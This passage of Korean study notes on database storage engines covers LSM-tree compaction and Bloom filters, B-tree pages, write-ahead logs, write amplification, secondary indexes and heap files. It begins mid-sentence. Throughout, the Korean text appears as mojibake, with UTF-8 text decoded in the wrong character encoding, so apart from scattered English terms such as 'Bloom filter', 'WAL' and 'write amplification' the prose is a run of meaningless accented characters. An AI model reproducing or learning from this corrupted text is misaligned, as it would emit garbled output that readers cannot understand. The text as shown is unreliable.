์ง€ํ•˜๊ณ  ํ•„์š”์— ๋”ฐ๋ผ ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ๋ณ‘ํ•ฉํ•œ๋‹ค. #### ์„ฑ๋Šฅ ์ตœ์ ํ™” - Bloom filter - ์กด์žฌํ•˜์ง€ ์•Š๋Š” ํ‚ค๋ฅผ ์ฐพ๋Š” ๊ฒฝ์šฐ ๋ฉคํ…Œ์ด๋ธ”์„ ํ™•์ธํ•œ ํ›„ ๊ฐ€์žฅ ์˜ค๋ž˜๋œ ์„ธ๊ทธ๋จผํŠธ๊นŒ์ง€ ๊ฑฐ์Šฌ๋Ÿฌ ์˜ฌ๋ผ๊ฐ€์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋А๋ฆด ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿด ๋•Œ ๋ธ”๋ฃธ ํ•„ํ„ฐ๋ฅผ ์ถ”๊ฐ€์ ์œผ๋กœ ์‚ฌ์šฉํ•จ์œผ๋กœ์„œ ์ ‘๊ทผ์„ ์ตœ์ ํ™” ํ•  ์ˆ˜ ์žˆ๋‹ค. - ํ‚ค๊ฐ€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์— ์กด์žฌํ•˜์ง€ ์•Š์Œ์„ ์•Œ๋ ค์ฃผ์–ด ํ‚ค๋ฅผ ์œ„ํ•œ ๋””์Šคํฌ ์ฝ๊ธฐ๋ฅผ ๋งŽ์ด ์ ˆ์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค. - SSํ…Œ์ด๋ธ” ์••์ถ•๊ณผ ๋ณ‘ํ•ฉ ์‹œ๊ธฐ๋ฅผ ๊ฒฐ์ •ํ•˜๋Š” ์ „๋žต - size-tiered - HBase - ์ƒ๋Œ€์ ์œผ๋กœ ์ƒˆ๋กญ๊ณ  ์ž‘์€ SSํ…Œ์ด๋ธ”์„ ์ƒ๋Œ€์ ์œผ๋กœ ์˜ค๋ž˜๋๊ณ  ํฐ SSํ…Œ์ด๋ธ”์— ์—ฐ์ด์–ด ๋ณ‘ํ•ฉ - leveled tiered - ๋ ˆ๋ฒจDB, ๋ก์ŠคDB - ํ‚ค ๋ฒ”์œ„๋ฅผ ๋” ์ž‘์€ SSํ…Œ์ด๋ธ”๋กœ ๋‚˜๋ˆ„๊ณ  ์˜ค๋ž˜๋œ ๋ฐ์ดํ„ฐ๋Š” ๊ฐœ๋ณ„ ๋ ˆ๋ฒจ๋กœ ์ด๋™ํ•˜์—ฌ ์ปดํŒฉ์…˜์„ ์ ์ง„์ ์œผ๋กœ ์ง„ํ–‰ํ•ด ๋””์Šคํฌ ๊ณต๊ฐ„์„ ๋œ ์‚ฌ์šฉ - LSM ํŠธ๋ฆฌ์˜ ๊ธฐ๋ณธ ๊ฐœ๋…์€ ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ์—ฐ์‡„์ ์œผ๋กœ SSํ…Œ์ด๋ธ”์„ ์ง€์†์ ์œผ๋กœ ๋ณ‘ํ•ฉํ•˜๋Š” ๊ฒƒ - ๋ฐ์ดํ„ฐ์…‹์ด ๊ฐ€๋Šฅํ•œ ๋ฉ”๋ชจ๋ฆฌ๋ณด๋‹ค ํ›จ์”ฌ ๋” ํฌ๋”๋ผ๋„ ์—ฌ์ „ํžˆ ํšจ๊ณผ์ . ๋ฐ์ดํ„ฐ๊ฐ€ ์ •๋ ฌ๋œ ์ˆœ์„œ๋กœ ์ €์žฅ๋ผ ์žˆ๋‹ค๋ฉด ๋ฒ”์œ„ ์งˆ์˜๋ฅผ ํšจ์œจ์ ์œผ๋กœ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ๋‹ค. - ๋””์Šคํฌ ์“ฐ๊ธฐ๊ฐ€ ์ˆœ์ฐจ์ ์ด๊ธฐ ๋•Œ๋ฌธ์— ๋†’์€ ์“ฐ๊ธฐ ์ฒ˜๋ฆฌ๋Ÿ‰์„ ๋ณด์žฅํ•  ์ˆ˜ ์žˆ๋‹ค. ### B ํŠธ๋ฆฌ - ๊ฐ€์žฅ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ์ƒ‰์ธ ๊ตฌ์กฐ - ํ‚ค๋กœ ์ •๋ ฌ๋œ ํ‚ค-๊ฐ’ ์Œ์„ ์œ ์ง€ํ•œ๋‹ค๋Š” ๊ฒƒ์ด ๊ฑฐ์˜ ์œ ์ผํ•œ SSํ…Œ์ด๋ธ”๊ณผ์˜ ๊ณตํ†ต์  - ๋กœ๊ทธ ๊ตฌ์กฐํ™” ์ƒ‰์ธ - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๋ฅผ ์ˆ˜ ๋ฉ”๊ฐ€๋ฐ”์ดํŠธ ์ด์ƒ์˜ ๊ฐ€๋ณ€ ํฌ๊ธฐ๋ฅผ ๊ฐ€์ง„ ์„ธ๊ทธ๋จผํŠธ๋กœ ๋‚˜๋ˆ„๊ณ  ์ˆœ์ฐจ์ ์œผ๋กœ ์„ธ๊ทธ๋จผํŠธ๋ฅผ ๊ธฐ๋ก - B ํŠธ๋ฆฌ - ์ „ํ†ต์ ์œผ๋กœ 4KB(๋•Œ๋กœ๋Š” ๋” ํฐ)์˜ ๊ณ ์ • ํฌ๊ธฐ์˜ ๋ธ”๋ก์ด๋‚˜ ํŽ˜์ด์ง€๋กœ ๋‚˜๋ˆ„๊ณ  ํ•œ ๋ฒˆ์— ํ•˜๋‚˜์˜ ํŽ˜์ด์ง€์— ์ฝ๊ธฐ ๋˜๋Š” ์“ฐ๊ธฐ - ์ฃผ์†Œ๋‚˜ ์œ„์น˜๋ฅผ ์ด์šฉํ•ด ๊ฐ ํŽ˜์ด์ง€๋ฅผ ์‹๋ณ„ (ํฌ์ธํ„ฐ์™€ ๋น„์Šทํ•˜์ง€๋งŒ ๋ฉ”๋ชจ๋ฆฌ ๋Œ€์‹  ๋””์Šคํฌ์— ์žˆ๋‹ค.) - ํ•œ ํŽ˜์ด์ง€๋Š” B ํŠธ๋ฆฌ์˜ root๋กœ ์ง€์ •๋œ๋‹ค. ์ƒ‰์ธ์—์„œ ํ‚ค๋ฅผ ์ฐพ์œผ๋ ค๋ฉด ๋ฃจํŠธ์—์„œ ์‹œ์ž‘ํ•œ๋‹ค. - ํŽ˜์ด์ง€๋Š” ์—ฌ๋Ÿฌ ํ‚ค์™€ ํ•˜์œ„ ํŽ˜์ด์ง€์˜ ์ฐธ์กฐ๋ฅผ ํฌํ•จํ•œ๋‹ค. ๊ฐ ํ•˜์œ„ ํŽ˜์ด์ง€๋Š” ํ‚ค๊ฐ€ ๊ณ„์† ์ด์–ด์ง€๋Š” ๋ฒ”์œ„๋ฅผ ๋‹ด๋‹นํ•˜๊ณ , ์ฐธ์กฐ ์‚ฌ์ด์˜ ํ‚ค๋Š” ํ•ด๋‹น ๋ฒ”์œ„ ๊ฒฝ๊ณ„๊ฐ€ ์–ด๋””์ธ์ง€๋ฅผ ๋‚˜ํƒ€๋‚ธ๋‹ค. - ์ตœ์ข…์ ์œผ๋กœ๋Š” ๊ฐœ๋ณ„ ํ‚ค (leaf page)๋ฅผ ํฌํ•จํ•˜๋Š” ํŽ˜์ด์ง€์— ๋„๋‹ฌํ•œ๋‹ค. - ํ•œ ํŽ˜์ด์ง€์—์„œ ํ•˜์œ„ ํŽ˜์ด์ง€๋ฅผ ์ฐธ์กฐํ•˜๋Š” ์ˆ˜๋ฅผ ๋ถ„๊ธฐ ๊ณ„์ˆ˜(branching factor)๋ผ๊ณ  ํ•œ๋‹ค. - ํ‚ค์˜ ๊ฐ’์„ ๊ฐฑ์‹ ํ•˜๋ ค๋ฉด ํ‚ค๋ฅผ ํฌํ•จํ•˜๊ณ  ์žˆ๋Š” leaf page๋ฅผ ๊ฒ€์ƒ‰ํ•˜๊ณ  ํŽ˜์ด์ง€์˜ ๊ฐ’์„ ๋ฐ”๊พผ ๋‹ค์Œ ํŽ˜์ด์ง€๋ฅผ ๋‹ค์‹œ ๋””์Šคํฌ์— ๊ธฐ๋กํ•œ๋‹ค.(ํŽ˜์ด์ง€์— ๋Œ€ํ•œ ๋ชจ๋“  ์ฐธ์กฐ๋Š” ๊ณ„์† ์œ ํšจํ•˜๋‹ค) - ์ƒˆ๋กœ์šด ํ‚ค๋ฅผ ์ถ”๊ฐ€ํ•˜๋ ค๋ฉด ์ƒˆ๋กœ์šด ํ‚ค๋ฅผ ํฌํ•จํ•˜๋Š” ๋ฒ”์œ„์˜ ํŽ˜์ด์ง€๋ฅผ ์ฐพ์•„ ํ•ด๋‹น ํŽ˜์ด์ง€์— ํ‚ค์™€ ๊ฐ’์„ ์ถ”๊ฐ€ํ•œ๋‹ค. - ํŽ˜์ด์ง€์— ๊ณต๊ฐ„์ด ์—†์„ ๊ฒฝ์šฐ ํŽ˜์ด์ง€ ํ•˜๋‚˜๋ฅผ ๋ฐ˜ ์ •๋„ ์ฑ„์›Œ์ง„ ๋‘˜๋กœ ๋‚˜๋ˆ„๊ณ  ์ƒ์œ„ ํŽ˜์ด์ง€๊ฐ€ ์ƒˆ๋กœ์šด ํ‚ค ๋ฒ”์œ„์˜ ํ•˜์œ„ ๋ถ€๋ถ„๋“ค์„ ์•Œ ์ˆ˜ ์žˆ๊ฒŒ ๊ฐฑ์‹ ํ•œ๋‹ค. - ์ด ์•Œ๊ณ ๋ฆฌ์ฆ˜์€ ํŠธ๋ฆฌ๊ฐ€ ๊ท ํ˜•์„ ์œ ์ง€ํ•˜๋Š” ๊ฒƒ์„ ๋ณด์žฅํ•œ๋‹ค. n๊ฐœ์˜ ํ‚ค๋ฅผ ๊ฐ€์ง„ BํŠธ๋ฆฌ๋Š” ๊นŠ์ด๊ฐ€ ํ•ญ์ƒ `O(logn)` ์ด๋‹ค. ### ์‹ ๋ขฐํ•  ์ˆ˜ ์žˆ๋Š” B ํŠธ๋ฆฌ ๋งŒ๋“ค๊ธฐ - B ํŠธ๋ฆฌ์˜ ๊ธฐ๋ณธ์ ์ธ ์“ฐ๊ธฐ ๋™์ž‘์€ ์ƒˆ๋กœ์šด ๋ฐ์ดํ„ฐ๋ฅผ ๋””์Šคํฌ ์ƒ์˜ ํŽ˜์ด์ง€์— ๋ฎ์–ด ์“ด๋‹ค. ์ด ๋™์ž‘์€ ๋ฎ์–ด์“ฐ๊ธฐ๊ฐ€ ํŽ˜์ด์ง€์˜ ์œ„์น˜๋ฅผ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๋Š”๋‹ค๊ณ  ๊ฐ€์ •ํ•œ๋‹ค. ์ฆ‰, ํŽ˜์ด์ง€๋ฅผ ๋ฎ์–ด์“ฐ๋”๋ผ๋„ ํŽ˜์ด์ง€๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ๋ชจ๋“  ์ฐธ์กฐ๋Š” ์˜จ์ „ํ•˜๊ฒŒ ๋‚จ๋Š”๋‹ค. ์ด๋Š” ํŒŒ์ผ์— ์ถ”๊ฐ€๋งŒ ํ•  ๋ฟ ๊ฐ™์€ ์œ„์น˜์˜ ํŒŒ์ผ์€ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๋Š” LSM ํŠธ๋ฆฌ์™€ ๊ฐ™์€ ๋กœ๊ทธ ๊ตฌ์กฐํ™” ์ƒ‰์ธ๊ณผ ๋‹ค๋ฅธ ์ ์ด๋‹ค. - ๋””์Šคํฌ์˜ ํŽ˜์ด์ง€๋ฅผ ๋ฎ์–ด์“ฐ๋Š” ์ผ์€ ์‹ค์ œ ํ•˜๋“œ์›จ์–ด ๋™์ž‘์ด๋ผ๊ณ  ์ƒ๊ฐํ•  ์ˆ˜ ์žˆ๋‹ค. - ์ผ๋ถ€ ๋™์ž‘์€ ์—ฌ๋Ÿฌ ํŽ˜์ด์ง€์˜ ๋ฎ์–ด์“ฐ๊ธฐ๋ฅผ ํ•„์š”๋กœ ํ•œ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์ƒˆ๋กœ์šด ํ‚ค๋ฅผ ์ถ”๊ฐ€ํ•˜๋ ค๋Š”๋ฐ ํŽ˜์ด์ง€์— ๊ณต๊ฐ„์ด ์—†์„ ๊ฒฝ์šฐ ํŽ˜์ด์ง€๋ฅผ ๋ถ„ํ• ํ•˜๊ณ  ์ƒ์œ„ ํŽ˜์ด์ง€์—์„œ ๋ถ„ํ• ๋œ ํŽ˜์ด์ง€๋ฅผ ์ฐธ์กฐํ•  ์ˆ˜ ์žˆ๋„๋ก ๊ฐฑ์‹ ํ•ด์•ผ ํ•˜๋Š”๋ฐ, ์ผ๋ถ€ ํŽ˜์ด์ง€์—์„œ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๊ณ ์žฅ๋‚  ๊ฒฝ์šฐ orphan page๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๋‹ค. - ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๊ณ ์žฅ ์ƒํ™ฉ์—์„œ ์Šค์Šค๋กœ ๋ณต๊ตฌํ•  ์ˆ˜ ์žˆ์œผ๋ ค๋ฉด WAL(write-ahead log, ์“ฐ๊ธฐ์ „ ๋กœ๊ทธ redo log, ์žฌ์‹คํ–‰ ๋กœ๊ทธ)๋ผ๊ณ  ํ•˜๋Š” ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ๋ฅผ ์ถ”๊ฐ€ํ•ด BํŠธ๋ฆฌ๋ฅผ ๊ตฌํ˜„ํ•œ๋‹ค. WAL์€ ํŠธ๋ฆฌ ํŽ˜์ด์ง€์— ๋ณ€๊ฒฝ๋œ ๋‚ด์šฉ์„ ์ ์šฉํ•˜๊ธฐ ์ „ ๋ชจ๋“  B ํŠธ๋ฆฌ์˜ ๋ณ€๊ฒฝ ์‚ฌํ•ญ์„ ๊ธฐ๋กํ•˜๋Š” ์ถ”๊ฐ€ ์ „์šฉ ํŒŒ์ผ์ด๋‹ค. ์ด ๋กœ๊ทธ๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๊ณ ์žฅ ์ดํ›„ ๋ณต๊ตฌ๋  ๋•Œ ์ผ๊ด€์„ฑ ์žˆ๋Š” ์ƒํƒœ๋กœ BํŠธ๋ฆฌ๋ฅผ ๋ณต์›ํ•˜๋Š”๋ฐ ์‚ฌ์šฉ๋œ๋‹ค. - ๋™์‹œ์„ฑ ์ œ์–ด๋Š” ๋ž˜์น˜(latch)๋กœ ํŠธ๋ฆฌ์˜ ๋ฐ์ดํ„ฐ ๊ตฌ์กฐ๋ฅผ ๋ณดํ˜ธํ•œ๋‹ค. - ๋กœ๊ทธ ๊ตฌ์กฐํ™” ์ ‘๊ทผ ๋ฐฉ์‹์€ ํ›จ์”ฌ ๊ฐ„๋‹จํ•˜๋‹ค. ์œ ์ž… ์งˆ์˜์˜ ๊ฐ„์„ญ ์—†์ด ๋ฐฑ๊ทธ๋ผ์šด๋“œ์—์„œ ๋ชจ๋“  ๋ณ‘ํ•ฉ์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ์ด๋”ฐ๊ธˆ ์›์ž์ ์œผ๋กœ ์ƒˆ๋กœ์šด ์„ธ๊ทธ๋จผํŠธ๋ฅผ ์ด์ „ ์„ธ๊ทธ๋จผํŠธ๋กœ ๋ฐ”๊พธ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. ### B ํŠธ๋ฆฌ ์ตœ์ ํ™” - ํŽ˜์ด์ง€ ๋ฎ์–ด ์“ฐ๊ธฐ์™€ WAL ์œ ์ง€ ๋Œ€์‹  ์ผ๋ถ€ ๋ฐ์ดํ„ฐ ๋ฒ ์ด์Šค๋Š” copy-on-write scheme๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค. - ํŽ˜์ด์ง€์— ์ „์ฒด ํ‚ค๋ฅผ ์ €์žฅํ•˜๋Š” ๊ฒŒ ์•„๋‹ˆ๋ผ ํ‚ค๋ฅผ ์ถ•์•ฝํ•ด ์“ฐ๋ฉด ๊ณต๊ฐ„์„ ์ ˆ์•ฝํ•  ์ˆ˜ ์žˆ๋‹ค. - ํŽ˜์ด์ง€๋Š” ๋””์Šคํฌ ์ƒ ์–ด๋””์—๋‚˜ ์œ„์น˜ํ•  ์ˆ˜ ์žˆ๋‹ค. - ํŠธ๋ฆฌ์— ํฌ์ธํ„ฐ๋ฅผ ์ถ”๊ฐ€ํ•œ๋‹ค. - ๋””์Šคํฌ ์ฐพ๊ธฐ๋ฅผ ์ค„์ด๊ธฐ ์œ„ํ•œ fractal tree ## B ํŠธ๋ฆฌ์™€ LSM ํŠธ๋ฆฌ ๋น„๊ต ### LSM ํŠธ๋ฆฌ์˜ ์žฅ์  - B ํŠธ๋ฆฌ ์ƒ‰์ธ์€ WAL์— ํ•œ ๋ฒˆ, ํŠธ๋ฆฌ ํŽ˜์ด์ง€์— ํ•œ๋ฒˆ ์ตœ์†Œ ๋‘๋ฒˆ ๋ฐ์ดํ„ฐ๋ฅผ ๊ธฐ๋กํ•ด์•ผ ํ•œ๋‹ค. - ๋กœ๊ทธ ๊ตฌ์กฐํ™” ์ƒ‰์ธ ๋˜ํ•œ SS ํ…Œ์ด๋ธ”์˜ ๋ฐ˜๋ณต๋œ ์ปดํŒฉ์…˜๊ณผ ๋ณ‘ํ•ฉ์œผ๋กœ ์ธํ•ด ์—ฌ๋Ÿฌ ๋ฒˆ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ค์‹œ ์“ด๋‹ค. - ์“ฐ๊ธฐ ์ฆํญ (write amplification) - DB์— ์“ฐ๊ธฐ ํ•œ ๋ฒˆ์ด DB ์ˆ˜๋ช… ๋™์•ˆ ๋””์Šคํฌ์— ์—ฌ๋Ÿฌ ๋ฒˆ์˜ ์“ฐ๊ธฐ๋ฅผ ์•ผ๊ธฐํ•˜๋Š” ํšจ๊ณผ - SSD๋Š” ์ˆ˜๋ช…์ด ๋‹คํ•  ๋•Œ๊นŒ์ง€ ๋ธ”๋ก ๋ฎ์–ด์“ฐ๊ธฐ ํšŸ์ˆ˜๊ฐ€ ์ œํ•œ๋˜์–ด ์“ฐ๊ธฐ ์ฆํญ์€ SSD์˜ ๊ฒฝ์šฐ ํŠน๋ณ„ํ•œ ๊ด€์‹ฌ์‚ฌ๋‹ค. - ์“ฐ๊ธฐ๊ฐ€ ๋งŽ์€ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์—์„œ ์„ฑ๋Šฅ ๋ณ‘๋ชฉ์€ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค๊ฐ€ ๋””์Šคํฌ์— ์“ฐ๋Š” ์†๋„์ผ ์ˆ˜ ์žˆ๋‹ค. ์ด ๊ฒฝ์šฐ ์“ฐ๊ธฐ ์ฆํญ์€ ์„ฑ๋Šฅ ๋น„์šฉ์ด๋‹ค. ์ €์žฅ์†Œ ์—”์ง„์ด ๋””์Šคํฌ์— ๊ธฐ๋กํ•  ์ˆ˜๋ก ๋””์Šคํฌ ๋Œ€์—ญํญ ๋‚ด ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ๋Š” ์ดˆ๋‹น ์“ฐ๊ธฐ๋Š” ์ ์  ์ค„์–ด๋“ ๋‹ค. - LSM ํŠธ๋ฆฌ๊ฐ€ ์ƒ๋Œ€์ ์œผ๋กœ ์“ฐ๊ธฐ ์ฆํญ์ด ๋” ๋‚ฎ๊ณ  ํŠธ๋ฆฌ์—์„œ ์—ฌ๋Ÿฌ ํŽ˜์ด์ง€๋ฅผ ๋ฎ์–ด ์“ฐ๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ ์ˆœ์ฐจ์ ์œผ๋กœ ์ปดํŒฉ์…˜๋œ SSํ…Œ์ด๋ธ” ํŒŒ์ผ์„ ์“ฐ๊ธฐ ๋•Œ๋ฌธ์— B ํŠธ๋ฆฌ ๋ณด๋‹ค ์“ฐ๊ธฐ ์ฒ˜๋ฆฌ๋Ÿ‰์„ ๋†’๊ฒŒ ์œ ์ง€ํ•  ์ˆ˜ ์žˆ๋‹ค. - LSM ํŠธ๋ฆฌ๊ฐ€ ์••์ถ•๋ฅ ์ด ๋” ์ข‹์•„ B ํŠธ๋ฆฌ๋ณด๋‹ค ๋””์Šคํฌ์— ๋” ์ ์€ ํŒŒ์ผ์„ ์ƒ์„ฑํ•œ๋‹ค. B ํŠธ๋ฆฌ๋Š” ํŒŒํŽธํ™”๋กœ ์ธํ•ด ๋””์Šคํฌ ๊ณต๊ฐ„ ์ผ๋ถ€๊ฐ€ ๋‚จ๋Š” ๋ฐ˜๋ฉด, LSM ํŠธ๋ฆฌ๋Š” ์ฃผ๊ธฐ์ ์œผ๋กœ ํŒŒํŽธํ™”๋ฅผ ์—†์• ๊ธฐ ์œ„ํ•ด SSํ…Œ์ด๋ธ”์— ๋‹ค์‹œ ๊ธฐ๋กํ•˜์—ฌ ์ €์žฅ์†Œ ์˜ค๋ฒ„ํ—ค๋“œ๊ฐ€ ๋‚ฎ๋‹ค. ๋ ˆ๋ฒจ ์ปดํŒฉ์…˜์„ ์‚ฌ์šฉํ•˜๋ฉด ํŠนํžˆ ๊ทธ๋ ‡๋‹ค. ### LSM ํŠธ๋ฆฌ์˜ ๋‹จ์  - ๋กœ๊ทธ ๊ตฌ์กฐํ™” ์ €์žฅ์†Œ์˜ ๋‹จ์ ์€ ์ปดํŒฉ์…˜ ๊ณผ์ •์ด ๋•Œ๋กœ๋Š” ์ง„ํ–‰ ์ค‘์ธ ์ฝ๊ธฐ์™€ ์“ฐ๊ธฐ์˜ ์„ฑ๋Šฅ์— ์˜ํ–ฅ์„ ์ค€๋‹ค๋Š” ์ ์ด๋‹ค. ์ €์žฅ์†Œ ์—”์ง„์€ ์ปดํŒฉ์…˜์„ ์ ์ง„์ ์œผ๋กœ ์ˆ˜ํ–‰ํ•˜๊ณ  ๋™์‹œ ์ ‘๊ทผ์˜ ์˜ํ–ฅ์ด ์—†๊ฒŒ ์ˆ˜ํ–‰ํ•˜๋ ค ํ•˜์ง€๋งŒ ๋””์Šคํฌ๊ฐ€ ๊ฐ€์ง„ ์ž์›์€ ํ•œ๊ณ„๊ฐ€ ์žˆ๊ณ , ๋””์Šคํฌ์—์„œ ๋น„์‹ผ ์ปดํŒฉ์…˜์ด ๋๋‚  ๋•Œ ๊นŒ์ง€ ๋Œ€๊ธฐํ•ด์•ผ ํ•˜๋Š” ์ƒํ™ฉ์ด ๋ฐœ์ƒํ•˜๊ธฐ ์‰ฝ๋‹ค. - ๋˜ ๋‹ค๋ฅธ ์ปดํŒฉ์…˜ ๋ฌธ์ œ๋Š” ๋†’์€ ์“ฐ๊ธฐ ์ฒ˜๋ฆฌ๋Ÿ‰์—์„œ ๋ฐœ์ƒํ•œ๋‹ค. ์“ฐ๊ธฐ ์ฒ˜๋ฆฌ๋Ÿ‰์ด ๋†’์Œ์—๋„ ์ปดํŒฉ์…˜ ์„ค์ •์„ ์ฃผ์˜๊นŠ๊ฒŒ ํ•˜์ง€ ์•Š์œผ๋ฉด ์ปดํŒฉ์…˜์ด ์œ ์ž…์“ฐ๊ธฐ ์†๋„๋ฅผ ๋”ฐ๋ผ๊ฐˆ ์ˆ˜ ์—†๊ณ  ๋””์Šคํฌ ์ƒ์— ๋ณ‘ํ•ฉ๋˜์ง€ ์•Š์€ ์„ธ๊ทธ๋จผํŠธ ์ˆ˜๊ฐ€ ๋””์Šคํฌ ๊ณต๊ฐ„์ด ๋ถ€์กฑํ• ๋•Œ ๊นŒ์ง€ ์ฆ๊ฐ€ํ•œ๋‹ค. ๊ทธ๋Ÿฌ๋ฉด ๋” ๋งŽ์€ ์„ธ๊ทธ๋จผํŠธ ํŒŒ์ผ์„ ํ™•์ธํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ฝ๊ธฐ ๋˜ํ•œ ๋А๋ ค์ง„๋‹ค. ๋ณดํ†ต SSํ…Œ์ด๋ธ” ๊ธฐ๋ฐ˜ ์ €์žฅ์†Œ ์—”์ง„์€ ์ด๋Ÿฐ ์ƒํ™ฉ์„ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•œ ๋ช…์‹œ์ ์ธ ๋ชจ๋‹ˆํ„ฐ๋ง์ด ํ•„์š”ํ•˜๋‹ค. - B ํŠธ๋ฆฌ์˜ ์žฅ์ ์€ ๊ฐ ํ‚ค๊ฐ€ ์ƒ‰์ธ์˜ ํ•œ ๊ณณ์—๋งŒ ์ •ํ™•ํ•˜๊ฒŒ ์กด์žฌํ•œ๋‹ค๋Š” ๊ฒƒ์ด๋‹ค. ๋ฐ˜๋ฉด ๋กœ๊ทธ ๊ตฌ์กฐํ™” ์ €์žฅ์†Œ ์—”์ง„์˜ ๊ฒฝ์šฐ ์—ฌ๋Ÿฌ ์„ธ๊ทธ๋จผํŠธ์— ๊ฐ™์€ ํ‚ค์˜ ๋‹ค์ค‘ ๋ณต์‚ฌ๋ณธ์ด ์กด์žฌํ•  ์ˆ˜ ์žˆ๋‹ค. ์ด๋Ÿฐ ์ธก๋ฉด ๋•Œ๋ฌธ์— ๊ฐ•๋ ฅํ•œ ํŠธ๋žœ์žญ์…˜ ์‹œ๋งจํ‹ฑ์„ ์ œ๊ณตํ•˜๋Š” ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค์—๋Š” B ํŠธ๋ฆฌ๊ฐ€ ํ›จ์”ฌ ๋งค๋ ฅ์ ์ด๋‹ค. - ์‚ฌ์šฉ ์‚ฌ๋ก€์— ์ ํ•ฉํ•œ ์ €์žฅ์†Œ ์—”์ง„์˜ ์œ ํ˜•์„ ๊ฒฐ์ •ํ•˜๊ธฐ ์œ„ํ•ด ํ…Œ์ŠคํŠธ๋ฅผ ํ†ตํ•ด ๊ฒฝํ—˜์ ์œผ๋กœ ๊ฒฐ์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•๋„ ๋‚˜์˜์ง€ ์•Š๋‹ค. ### ๊ธฐํƒ€ ์ƒ‰์ธ ๊ตฌ์กฐ - ๊ธฐ๋ณธํ‚ค ์ƒ‰์ธ(Primary Key) - ํ‚ค-๊ฐ’ ์ƒ‰์ธ์˜ ๋Œ€ํ‘œ์ ์ธ ์˜ˆ - ๋ณด์กฐ ์ƒ‰์ธ(Secondary Key) - ๊ธฐ๋ณธํ‚ค ์ƒ‰์ธ๊ณผ ๋‹ฌ๋ฆฌ ํ‚ค๊ฐ€ ๊ณ ์œ ํ•˜์ง€ ์•Š๋‹ค. - ์ฆ‰ ๊ฐ™์€ ํ‚ค๋ฅผ ๊ฐ€์ง„ ๋งŽ์€ ๋กœ์šฐ๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ๋‹ค. ์ด๋Š” ์ƒ‰์ธ์˜ ๊ฐ ๊ฐ’์— ์ผ์น˜ํ•˜๋Š” ๋กœ์šฐ ์‹๋ณ„์ž ๋ชฉ๋ก์„ ๋งŒ๋“ค๊ฑฐ๋‚˜ ๋กœ์šฐ ์‹๋ณ„์ž๋ฅผ ์ถ”๊ฐ€ํ•ด ๊ฐ ํ‚ค๋ฅผ ๊ณ ์œ ํ•˜๊ฒŒ ๋งŒ๋“œ๋Š” ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด ํ•ด๊ฒฐํ•  ์ˆ˜ ์žˆ๋‹ค. ### ์ƒ‰์ธ ์•ˆ์— ๊ฐ’ ์ €์žฅํ•˜๊ธฐ - ์ƒ‰์ธ์˜ ๊ฐ’์ด ๋‹ค๋ฅธ ๊ณณ์— ์ €์žฅ๋œ ๋กœ์šฐ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋Š” ์ฐธ์กฐ์ผ ๊ฒฝ์šฐ ๋กœ์šฐ๊ฐ€ ์ €์žฅ๋œ ๊ณณ์„ ํž™ ํŒŒ์ผ (heap file)์ด๋ผ๊ณ  ํ•˜๊ณ  ํŠน์ • ์ˆœ์„œ ์—†์ด ๋ฐ์ดํ„ฐ๋ฅผ ์ €์žฅํ•œ๋‹ค. - ํž™ ํŒŒ์ผ ์ ‘๊ทผ์€ ์ผ๋ฐ˜์ ์ธ ๋ฐฉ์‹์ด๋‹ค. ์—ฌ๋Ÿฌ ๋ณด์กฐ ์ƒ‰์ธ์ด ์กด์žฌํ•  ๋•Œ ๋ฐ์ดํ„ฐ์˜ ์ค‘๋ณต์„ ํ”ผํ•  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. - ๊ฐ ์ƒ‰์ธ์€ ํž™ ํŒŒ์ผ์—์„œ ์œ„์น˜๋งŒ ์ฐธ์กฐํ•˜๊ณ  ์‹ค์ œ ๋ฐ์ดํ„ฐ๋Š” ์ผ์ •ํ•œ ๊ณณ์— ์œ ์ง€ํ•œ๋‹ค. - ํž™ ํŒŒ์ผ ์ ‘๊ทผ ๋ฐฉ์‹์€ ํ‚ค๋ฅผ ๋ณ€๊ฒฝํ•˜์ง€ ์•Š๊ณ  ๊ฐ’์„ ๊ฐฑ์‹ ํ•  ๋•Œ ๊ฝค ํšจ์œจ์ ์ด๋‹ค. - ํ•˜์ง€๋งŒ ์ƒˆ๋กœ์šด ๊ฐ’์ด ๋งŽ์€ ๊ณต๊ฐ„์„ ํ•„์š”๋กœ ํ•˜๋ฉด ์ƒํ™ฉ์ด ๋ณต์žกํ•ด์ง„๋‹ค. - ํž™์—์„œ ์ถฉ๋ถ„ํ•œ ๊ณต๊ฐ„์ด ์žˆ๋Š” ์ƒˆ๋กœ์šด ๊ณณ์œผ๋กœ ์œ„์น˜๋ฅผ ์ด๋™ํ•ด์•ผ ํ•˜๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. 